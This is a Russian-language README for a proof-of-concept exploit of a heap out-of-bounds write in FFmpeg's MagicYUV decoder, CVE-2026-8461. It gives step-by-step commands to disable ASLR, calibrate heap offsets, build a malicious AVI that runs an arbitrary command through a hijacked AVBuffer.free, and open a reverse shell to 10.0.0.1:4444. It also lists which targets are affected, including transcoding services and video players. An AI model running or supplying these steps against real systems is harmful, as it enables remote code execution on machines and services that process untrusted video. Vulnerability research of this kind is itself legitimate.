
Эксплойт доказательства концепции для CVE-2026-8461, переполнение буфера вне границ в куче в декодере MagicYUV в FFmpeg, достигающее удаленного выполнения кода через перехват AVBuffer.free. Включает скрипты калибровки для отладочных и производственных сборок.
[!WARNING] Этот репозиторий содержит работающий эксплойт PoC для уязвимости повреждения кучи. Он предназначен исключительно для авторизованных исследований безопасности, CTF-контекстов и защитного анализа. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Затронуто: FFmpeg 8.0.1 декодер MagicYUV (libavcodec/magicyuv.c)
Примитив: Запись за границы кучи → перехват AVBuffer.free → вызов system()
magy_decode_slice() использует sheight (неограниченная высота среза) как границу цикла для записи в выходную плоскость Cb/Cr, но выделяет буфер, используя ограниченное значение height. На последнем срезе специально созданного кадра цикл записывает за границы выделенной области.
// magicyuv.c:291 — указатель dst уже находится на sheight×stride после начала буфера
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
dst[i] = get_vlc2(...); // Запись за границы, если sheight > height
Запись за границы попадает в структуру AVBuffer, выделенную впоследствии. Управляя записываемыми байтами, AVBuffer.free перезаписывается адресом system(), а AVBuffer.opaque — адресом строки команды в куче. Когда фрейм освобождается, av_buffer_unref() вызывает system(cmd).
Полный технический разбор: English · 中文
| Файл | Описание |
|---|---|
exploit_cve_2026_8461.py | Генератор вредоносного AVI — создаёт вредоносный битстрим MagicYUV |
auto_calibrate.py | Автокалибровка для отладочных сборок (требуются отладочные символы -g) |
auto_calibrate_nosym.py | Автокалибровка для релизных сборок (stripped, shared-library) |
CVE-2026-8461_Analysis_EN.md | Полный анализ уязвимости (английский) |
CVE-2026-8461_Analysis.md | Полный анализ уязвимости (中文) |
ffmpeg_prod | Stripped production FFmpeg 8.0.1 binary для локального тестирования |
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0 (ASLR отключён — требуется для калибровки)
Python-зависимости: нет (только stdlib).
sudo sysctl -w kernel.randomize_va_space=0
Отладочная сборка (скомпилирована с -g, например, из исходников с --enable-debug):
python3 auto_calibrate.py \
--ffmpeg /path/to/ffmpeg-debug \
--avi /tmp/exploit.avi \
-o calibration.json
Релизная сборка (stripped shared-library, например, apt install ffmpeg или кастомная --enable-shared):
python3 auto_calibrate_nosym.py \
--ffmpeg /path/to/ffmpeg \
--libpath /path/to/ffmpeg/lib \
--avi /tmp/exploit.avi \
-o calibration.json
Путь
--aviдолжен быть одинаковым при калибровке и доставке эксплойта. Изменение длины строки пути смещает раскладку кучи и делает калибровку недействительной.
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "id > /tmp/pwned" \
-o /tmp/exploit.avi
# Отладочная сборка (статическая линковка)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -
# Релизная сборка (shared-library)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -
# Системный FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -
Ожидаемый вывод: команда выполняется, затем процесс падает с corrupted size vs. prev_size.
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
-o /tmp/exploit.avi
Целевой бинарник FFmpeg
│
├─ Есть отладочные символы? (file ffmpeg | grep debug_info)
│ └─ ДА → auto_calibrate.py
│
└─ Stripped / production
│
├─ Динамическая линковка? (ldd ffmpeg | grep libavutil)
│ └─ ДА → auto_calibrate_nosym.py
│
└─ Статическая линковка + полностью stripped
└─ Ни один скрипт не подходит
(требуется подход с перехватом malloc через LD_PRELOAD)
auto_calibrate_nosym.py работает следующим образом:
av_buffer_create (всегда присутствует в .dynsym библиотеки libavutil.so), чтобы захватить указатели данных Cb и Cr без необходимости в символах уровня исходного кода.AVBuffer и извлечь адрес system().Эксплойт срабатывает, когда цель декодирует видеофрейм (а не просто пробует его):
| Вызов | Срабатывает RCE |
|---|---|
ffmpeg -i evil.avi -f null - | Да |
ffmpeg -i evil.avi -o out.mp4 | Да |
| Веб-сервис транскодирования (цикл декодирования libavcodec) | Да |
| Видеоплеер, использующий libavcodec | Да |
ffmpeg -i evil.avi (без указания выхода) | Нет — процесс прерывается до вызова av_buffer_unref |
ffprobe evil.avi | Нет — только пробный путь, без полного декодирования |
Для демонстрации уязвимости без выполнения команды:
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# падает с: free(): invalid pointer или corrupted size vs. prev_size
AVBuffer оказывается в пределах 640 байт от начального адреса OOB плоскости Cb. На aarch64 порядок выделения памяти в glibc помещает AVBuffer за пределы этого диапазона (соседний чанк — это ~10 КБ буфер Cr), поэтому запись за границы не может его достичь при текущей геометрии фрейма. Перенос на aarch64 требует профилирования раскладки кучи aarch64 и соответствующей настройки геометрии фрейма.kernel.randomize_va_space=0). При включённом ASLR адреса кучи рандомизируются при каждом запуске, и калибровка не работает. Для расширения на цели с включённым ASLR потребуется примитив утечки информации.auto_calibrate_nosym.py: Требует динамически слинкованный FFmpeg с доступной libavutil.so (либо в системных путях, либо через --libpath).